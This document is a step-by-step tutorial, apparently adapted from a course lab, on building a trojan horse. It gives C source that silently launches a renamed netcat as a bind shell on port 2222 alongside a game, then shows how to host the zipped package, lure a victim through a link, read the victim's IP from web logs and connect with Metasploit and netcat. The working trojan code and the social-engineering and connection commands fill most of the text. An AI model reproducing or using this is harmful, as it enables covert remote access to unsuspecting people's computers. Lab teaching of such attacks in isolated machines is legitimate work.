How to make Trojan Horse | Full Tutorial

Trojan Horse Creation

There are four Steps to make A real Working Trojan Horse using C/C++ , Vmware, Backtrack, Windows Xp.

Navigate Steps - 

1. Install C/C++ .
2. Create & Bundle Trojan Horse.
3. Upload to Webserver.
4. Social Engineer Trojan Horse and Connect with Metasploit and Netcat.

1st Step -  Install a C/C++ Compiler (Tutorial)

Section 1. Start Up Windows Machine

1. Booting up WindowsVulerable01
   • Instructions:
     1. Start up VMware Player
     2. Select WindowsVulerable01
     3. Play Virtual Machine
   • Note:
     • For those of you that are not part of my class, WindowsVulernable01 is a Windows XP Machine.
     • Any version of Windows can be used.
   • 
2. WindowsVulerable01 Authentication
   • Instructions:
     1. Login as administrator
   • 

Section 2. Download and Install CodeBlocks

1. Start Up Internet Explorer.
   • Instructions:
     1. Start --> All Programs --> Internet Explorer
   • 
2. Start Up Command Prompt
   • Instructions:
     1. On the  WindowVulnerable01 Internet Explorer Web Browser , Go To https://www.codeblocks.org/downloads/binaries#windows
     2. Then Click on the Sourceforge.net link for  clockblocks-10.05mingw-setup.exe 
     3. Down Here if 10.05 is not longer present
   • 
3. Information Bar Message
   • Instructions:
     1. Select OK
   • 
4. Security Download Message
   • Instructions:
     1. Select Download File...
   • 
5. File Download - Security Warning
   • Instructions:
     1. Click Save
   • 
6. Save As
   • Instructions:
     1. Navigate to C:\tools
   • 
7. Create New Folder
   • Instructions:
     1. Right Click in the white portion of the tools folder
     2. Select New --> Folder
   • 
8. Name the folder
   • Instructions:
     1. Name the folder "Compiler"
     2. Double Click on the Compiler Folder
   • 
9. Name the folder
   • Instructions:
     1. Click the Save Button
   • 
10. Download Complete Message
    • Instructions:
      1. Click on Open Folder
    • 
11. Run as...
    • Instructions:
      1. Right Click on the codeblocks executable
      2. Click on Run as...
    • 
12. Open File - Security Warning
    • Instructions:
      1. Click on Run
    • 
13. Run As
    • Instructions:
      1. Click on the Current User Radio Button
      2. Check the Protect my computer textbox.
      3. Select OK
    • 
14. CodeBlocks Setup
    • Instructions:
      1. Click on Next
    • 
15. CodeBlocks Setup
    • Instructions:
      1. Click on I Agree
    • 
16. CodeBlocks Setup
    • Instructions:
      1. Make sure MinGW Compiler Suite is selected
      2. Click on Next
    • 
17. CodeBlocks Setup
    • Instructions:
      1. Click on Install
    • 
18. CodeBlocks Setup
    • Instructions:
      1. Click on  YES 
    • 
19. Compiler auto-detection
    • Instructions:
      1. Click Next
    • 
20. Compiler auto-detection
    • Instructions:
      1. Click Finished
    • 
21. Compiler auto-detection
    • Instructions:
      1. Click on OK
    • 
22. Code::Blocks Files Association Message
    • Instructions:
      1. Select "Yes, associate Code::Blocks with C/C++ files types"
      2. Select OK
    • 
23. Check Compiler Settings
    • Instructions:
      1. Settings --> Compiler and debugger...
    • 
24. Verify Compiler Location
    • Instructions:
      1. Click on the Toolchain executables TAB
      2. Make sure the Compiler's installation directory points to C:\Program Files\CodeBlocks\MinGW
      3. Click OK
    • 

Section 3. Proof of Lab

1. Open a Command Prompt
   • Instructions:
     1. Start --> All Programs --> Accessories --> Command Prompt
   • 
2. Proof of Lab
   • Instructions:
     1. cd "C:\Program Files\CodeBlocks"
     2. dir
     3. date
     4. Press the <Enter> Key
     5. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • E.g., echo "John Gray"
   •  Proof of Lab Instructions: 
   1. Do a PrtScn
   2. Paste into a word doc
   3. Upload to Moodle
   • 

2nd Step -  Creating & Bundle Trojan Horse (Tutorial)

How to bundle a Trojan Horse with Netcat

Section 1. Start Up Windows Machine

1. Booting up WindowsVulerable01
   • Instructions:
     1. Start up VMware Player
     2. Select WindowsVulerable01
     3. Play Virtual Machine
   • Note:
     • For those of you that are not part of my class, WindowsVulernable01 is a Windows XP Machine.
     • Any version of Windows can be used.
   • 
2. WindowsVulerable01 Authentication
   • Instructions:
     1. Login as administrator
   • 

Section 2. Start up Internet Explorer

1. Start Up Internet Explorer.
   • Instructions:
     1. On WindowsVulnerable01
     2. Bring Up Internet Explorer
     3. Start --> All Programs --> Internet Explorer
   • 

Section 3. Download Shockwave Prerequisite to view SnowCraft

1. Download Shockwave Player
   • Instructions:
     1. Go To https://get.adobe.com/shockwave/ In your WindowsVulnerable01's Internet Explorer.
     2. Click on Agree and install now.
   • Note:
     • You can skip this step if you already have Shockwave Player installed.
   • 
2. Information Bar
   • Instructions:
     1. Click OK
   • 
3. ActiveX Control
   • Instructions:
     1. Install ActiveX Control...
   • 
4. Internet Explorer - Security Warning
   • Instructions:
     1. Click Install
   • 
5. Installing Adobe Shockwave Player
   • Instructions:
     1. Do not check the "Include Norton Internet Security" checkbox.
        • Note: You will be bugged every 30 days to pay for an upgrade.
     2. Click Next
   • 
6. Installation Complete
   • Note:
     • You should see an Installation Complete message.
   • 

Section 4. Download Snowcraft and Netcat

1. Download snowcraft.exe
   • Instructions:
     1. Use your WindowsVulnerable01's Internet Explorer
     2. Click Here To Download Snowcraft.exe
   • 
2. Save snowcraft.exe
   • Instructions:
     1. On WindowsVulnerable01
     2. Navigate to C:\tools
   • 
3. Create a New Folder
   • Instructions:
     1. Right Click in the white portion of the screen.
     2. Select New --> Folder
   • 
4. Name the New Folder
   • Instructions:
     1. Name the folder "snowcraft"
     2. Double Click on the "snowcraft" directory
   • 
5. Create another New Folder
   • Instructions:
     1. Right Click in the white portion of the screen.
     2. Select New --> Folder
   • 
6. Name the New Folder
   • Instructions:
     1. Name the folder "dir"
     2. Double Click on the "dir" directory
   • 
7. Save snowcraft.exe
   • Instructions:
     1. Make sure you are in C:\tools\snowcraft\dir
     2. Click the Save button
   • 
8. Download Complete Message
   • Instructions:
     1. Click Close
   • 
9. Download netcat.exe
   • Instructions:
     1. Use your WindowsVulnerable01's Internet Explorer
     2. Click Here To Download netcat.exe
   • 
10. Saving netcat.exe
    • Instructions:
      1. Navigate to C:\tools\snowcraft\dir
      2. Click Save
    • 
11. Download complete
    • Instructions:
      1. Click Open Folder
    • 
12. Rename netcat.exe
    • Instructions:
      1. Right Click on netcat.exe
      2. Select Rename
      3. Rename netcat.exe to chest.exe
    • 
13. Verify your work
    • Instructions:
      1. In C:\tools\snowcraft\dir
      2. You should have snowcraft.exe and chest.exe (f/k/a, netcat.exe)
    • 

Section 5. Start up the CodeBlocks IDE

1. Start up your CodeBlocks IDE
   • Instructions:
     1. Start --> All Programs --> CodeBlocks --> CodeBlocks
   • 
2. Create an Empty File
   • Instructions: 
     1. File --> New --> Empty file
   • 
3. Save Empty File
   • Instructions:
     1. File --> Save file as...
   • 
4. Save file
   • Instructions:
     1. Navigate to C:\tools\snowcraft
     2. Name the file "snowcraft"
     3. Click Save
   • 
5. Cut and Paste Code into the CodeBlocks IDE
   • Instructions:
     1. Highlight the below code
     2. Right Click --> Copy
     3. Paste into the CodeBlock Window (See Below)
   • Code:
     • #include <stdio.h>
       #include <stdlib.h>
       
       int main ()
       {
           system("start /B dir\\chest.exe -d -L -p 2222 -e cmd.exe");
           system("dir\\snowcraft.exe");
       
           //return 0;
       }
   • 
6. Save snowcraft.cpp
   • Instructions:
     1. File --> Save File
   • 
7. Compile current file
   • Instructions:
     1. Build --> Compile Current file
   • Note:
     • In the Build log tab, you will see a Build log message.
     • If there are not errors, you will see a message similar to below, saying you have 0 errors.
     • If you received any errors, then you cannot continue to the next step.
   • 
8. Build and run
   • Instructions:
     1. Build --> Build and run
   • 
9. Build and Run Results
   • Instructions:
     1. You should see that Snowcraft was kicked off
     2. Play the game if you want.
     3. When you get bored continue to the next step.
   • 
10. Bring up task manager
    • Instructions:
      1. Right click on bottom task bar
      2. Select Task Manager
    • 
11. View Task Manager Processes
    • Note:
      1. Notice chest.exe (f/k/a netcat.exe) running
      2. Then are Trojan Horse, snowcraft.exe is running.
    • 
12. Open a Command Prompt
    • Instruction:
      1. Start --> All Programs --> Accessories --> Command Prompt
    • 
13. Let's investigate chest.exe process
    • Instruction:
      1. tasklist | findstr chest
         • tasklist is the command line equivalent to Windows Task Monitor.
         • findstr is like the uniq grep command, where we are searching for chest.
         • NOTE: In my case, the PID that was returned was 1212.  In your case, it will be different.
      2. netstat -nao | findstr 1212
         • netstat is being used to show all network connections.
         • Then findstr search for the chest.exe PID of 1212.
         • NOTE: There is a TCP port listening on 2222.
    • 

Section 6. Bundle Instructions

1. Close out the following applications
   • Instructions:
     1. Close the CodeBlocks IDE
     2. Close SnowCraft
   • 
2. Close out the following applications
   • Instructions:
     1. Start --> My Computer
     2. Navigate to C:\tools\snowcraft
     3. Delete snowcraft.cpp
     4. Delete snowcraft.o
   • 
3. Zip up the snowcraft folder
   • Instructions:
     1. Navigate to C:\tools
     2. Right Click on the snowcraft folder
     3. Send To --> Compressed (zipped) folder
   • 
4. Congratulations
   • Note:
     1. You should see a new file called snowcraft.zip.
     2. A malicious person might place this zipped file on their website, and send an email with a web link to the victim.
     3. Once the victim, clicks on the link, their IP address is stored in a web log.
     4. Then the attacker could possibly attach to that victim's IP address at port 2222.
     5. Pretty Scary Stuff!!!
   • 

Section: Proof of Lab

1. Open a Command Prompt
   • Instruction:
     1. Start --> All Programs --> Accessories --> Command Prompt
   • 
2. Let's investigate chest.exe process
• Instruction:
  1. tasklist | findstr chest
  2. netstat -nao | findstr 1212
  3. date
  4. echo "Your Name"
     • Replace the string "Your Name" with your actual name.
     • E.g., echo "John Gray"
• Instruction:
  1. Do a PrtScn
  2. Paste into a word document
  3. Upload to Moodle.
• 

3rd - Step Placing the Trojan Horse on a Web Server

Section 1. Start Up BackTrack5R1

1. Start Up BackTrack5R1.
   • Instructions:
     1. Start Up your VMware Player
     2. Play virtual machine
   • 
2. Login to BackTrack
   • Instructions:
     1. Login: root
     2. Password: toor or <whatever you changed it to>.
   • 
3. Bring up the GNOME
   • Instructions:
     1. Type startx
   • 
4. Start up a terminal window
   • Instructions:
     1. Click on the Terminal Window
   • 
5. Obtain the IP Address
   • Instructions:
     1. ifconfig -a
   • Notes:
     • My IP address 192.168.1.105.  In your case, it will probably be different.
     • You will later use this IP Address when you SFTP the Trojan Horse from your Windows Client to this BackTrack Machine.
   • 

Section 2. Set Up BackTrack Trojan Horse Web Directory

1. Check if Apache Web Server is Running
   • Instructions:
     1. ps -eaf | grep apache | grep -v grep | wc -l
        • "0" was returned because the Apache Webserver is not running.
     2. /etc/init.d/apache2 start
        • This is the Apache Webserver start up script.
     3. ps -eaf | grep apache
   • Notes:
     • Apache2 comes standard with BackTrack5R1.
     • If your version of BackTrack5R1 does not come with Apache, then do the following:
       1. dpkg --get-selections | grep apache2
          • If you do not see apache2 as installed, then continue to the next step..
       2. apt-get install apache2
   • 
2. Create Trojan Horse Web Directory
   • Instructions:
     1. mkdir -p /var/www/html/games
        • Apache2's rootdir is /var/www in BackTrack5R1.
     2. grep www /etc/passwd
        • Subsequent directories under /var/www should be owned by user "www-data" or whatever is the username for Apache.
     3. chown -R www-data:www-data /var/www/html
        • Change ownerships from root to user www-data for everything under and including /var/www/html
     4. ls -ld /var/www/html
     5. ls -ld /var/www/html/games
   • 

Section 3. Start Up SSHD on BackTrack5R1

1. Start Up SSHD
   • Instructions:
     1. On BackTrack5R1, open a Console Terminal
     2. If you are not root, become root.
     3. ps -eaf | grep sshd | grep -v grep | wc -l
        • Check to see if SSHD is running.
        • A "0" is returned, because not SSHD processes are running.
     4. which sshd
        • The which command tells us that (1) sshd is located at /usr/sbin/sshd, and (2) that ssh is installed on the system.
     5. ls -l /etc/init.d | grep ssh
        • /etc/init.d is where all the tradition startup scripts result for sysvinit.
        • We are searching this directory to see if there is a start up script for ssh.
   • 
2. Create RSA Key
   • Instructions:
     1. ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
     2. Press <Enter>
     3. Press <Enter>
   • Note:
     • In order to prevent a connection reset from the peer sshd server both RSA and DSA keys must be set up.
   • 
3. Create DSA Key
   • Instructions:
     1. ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
     2. Press <Enter>
     3. Press <Enter>
   • Note:
     • In order to prevent a connection reset from the peer sshd server both RSA and DSA keys must be set up.
   • 
4. Start Up SSHD
   • Instructions:
     1. /etc/init.d/ssh start
     2. ps -eaf | grep sshd | grep -v grep
   • 

Section 4. Start Up Windows Machine

1. Booting up WindowsVulerable01
   • Instructions:
     1. Start up VMware Player
     2. Select WindowsVulerable01
     3. Play Virtual Machine
   • Note:
     • For those of you that are not part of my class, WindowsVulernable01 is a Windows XP Machine.
     • Any version of Windows can be used.
     • But you must have first completed the pre-requisite labs listed in the overview section.
   • 
2. WindowsVulerable01 Authentication
   • Instructions:
     1. Login as administrator
   • 

Section 5. Start up FileZilla

1. Start Up FileZilla.
   • Instructions:
     1. On WindowsVulnerable01
     2. Bring Up Internet Explorer
     3. Start --> All Programs --> FileZilla FTP Client --> FileZilla
   • Notes (If Not Installed):
     • If FileZilla is not installed, you can obtain the client from the following location:http://filezilla-project.org/download.php
     • Make Sure you install it on WindowsVulnerable01 or the machine that contains your Trojan Horse.
   • 
2. Establish a Connection to Backtrack5R1
   • Instructions:
     1. Host: 192.168.1.105
        • Your IP Address was obtained in Section 0, Step 5.
     2. Username: root
     3. Password: <Supply your root password>
     4. Port: 22
   • .
3. Unknown host key
   • Instructions:
     1. Click OK
   • 
4. Unknown host key
   • Instructions:
     1. Local Site: C:\tools
     2. Remote Site: /var/www/html/games
     3. Drag and Drop snowcraft.zip from C:\tools to /var/www/html/games.
   • 

Section 6. Proof of Lab

1. Open a Command Prompt
   • Instruction(On BackTrack5R1):
     1. cd /var/www/html/games
     2. ls -l
     3. date
     4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • E.g., echo "John Gray"
   •  Proof of Lab Instructions 
   1. Do a PrtScn
   2. Paste into a word document
   3. Upload to Moodle
• 
  

4th - Step  Social Engineer Trojan Horse and Connect with Metasploit and Netcat

Section 1. Start Up BackTrack5R1 Start Up BackTrack5R1. Instructions: Start Up your VMware Player Play virtual machine Login to BackTrack Instructions: Login: root Password: toor or <whatever you changed it to>. Bring up the GNOME Instructions: Type startx Start up a terminal window Instructions: Click on the Terminal Window Obtain the IP Address Instructions: ifconfig -a Notes: My IP address 192.168.1.105.  In your case, it will probably be different. You will later use this IP Address when give the prospective Victim the web link to the Trojan Horse Game. Section 2. Start Up BackTrack Apache Web Server Check if Apache Web Server is Running Instructions: ps -eaf | grep apache | grep -v grep | wc -l "0" was returned because the Apache Web Server is not running. /etc/init.d/apache2 start This is the Apache Web Server start up script. ps -eaf | grep apache Notes: Apache2 comes standard with BackTrack5R1. If your version of BackTrack5R1 does not come with Apache, then do the following: dpkg --get-selections | grep apache2 If you do not see apache2 as installed, then continue to the next step.. apt-get install apache2 Section 3. Start Up Windows Machine Booting up W7P32B Instructions: Start up VMware Player Select W7P32B Play Virtual Machine Note: For those of you that are not part of my class, W7P32Bis a Windows 7 32 Bit Operating System. Any version of Windows can be used. But you must have first completed the pre-requisite labs listed in the overview section. W7P32B Authentication Instructions: Login as student Section 4. Start up Internet Explorer Start Up Internet Explorer Instructions: In the search box type "Internet Explorer" Under Programs, click on Internet Explorer Social Engineer Game Instructions: Pretending, you could simulate receiving an email with a link pointing to the Trojan Horse game. In the Windows Internet Explorer address window put in the following address: http://192.168.1.105/html/games/snowcraft.zip Note: Replace 192.168.1.105 with the IP Address obtained from Section 1, Step 5. Press Enter . File Download Instructions: Click Save Save File Instructions: The default download location should be as follows  C:\Users\student\Downloads. Click Save Open Folder Instructions: Click on Open Folder Extract Zip File Instructions: Right Click on snowcraft Select Extract All... Select a Destination and Extract Files Instructions: Take the Default location Click on Extract Open the snowcraft folder Instructions: Right Click on snowcraft Click on Open Play Game Instructions: Double Click on the snowcraft game Section 5. Its Metasploit Time Obtain IP Address of Victim Machine Instructions: cd /var/log/apache2 grep snowcraft access.log | tail | awk '{print $1}' Note: You can review the Apache log called access.log for anybody that download the snowcraft.zip file. In this example, we see that the Victim machine is 192.168.1.110. In your case, the IP address will be different. Start Up Metasploit msfconsole Instructions: Applications --> msfconsole --> Exploitation Tools --> Network Exploitation Tools --> Metasploit Framework --> msfconsole. Note: Metasploit takes about 5 to 20 seconds to start up Set Handler and Payload Instructions: use multi/handler set PAYLOAD windows/shell_bind_tcp Set Options, Launch Exploit Instructions: show options LPORT - This is the port of the victim's machine. RHOST - This is the IP Address of the victim's machine. set LPORT 2222 Remember we are running chest.exe disguished as NetCat running on port 2222. set RHOST 192.168.1.110 This is the IP Address you obtain in Step 1 of this section. exploit -z In my past labs, I have not used the "-z". The "-z" option, backgrounds the process, so we can later upgrade to a Metasploit meterpreter session. Set Options, Launch Exploit Instructions: Now that BackTrack is now connect to the Victim's machine using port 2222. sessions -l List all the Metasploit sessions. sessions -i 1 Use Shell Session 1 Welcome to to the DOS prompt Instructions: cd \ dir echo "Your Name" date Press <Enter> Partial Proof of Lab: Do a PrtScn Paste into a word document Exit Metasploit Instructions: Press the both the <Ctrl> and <z> keys at the same time. Answer "y" exit -y Section 6. Use Netcat to connect to Netcat Start up a terminal window Instructions: Click on the Terminal Window Use BackTrack's Netcat to connect to the Victim's Netcat Instructions: nc -v 192.168.1.110 2222 In your case, use the Victim's IP address you obtained in Section 1, Step 5. dir echo "Your Name" Partial Proof of Lab: Do a PrtScn Paste into the SAME word document Section 7. Proof of Lab Do Section 5, Step 5 and Section 6, Step 2. Proof of Lab: Do the required PrtScn's Paste into the SAME word document Upload to Moodle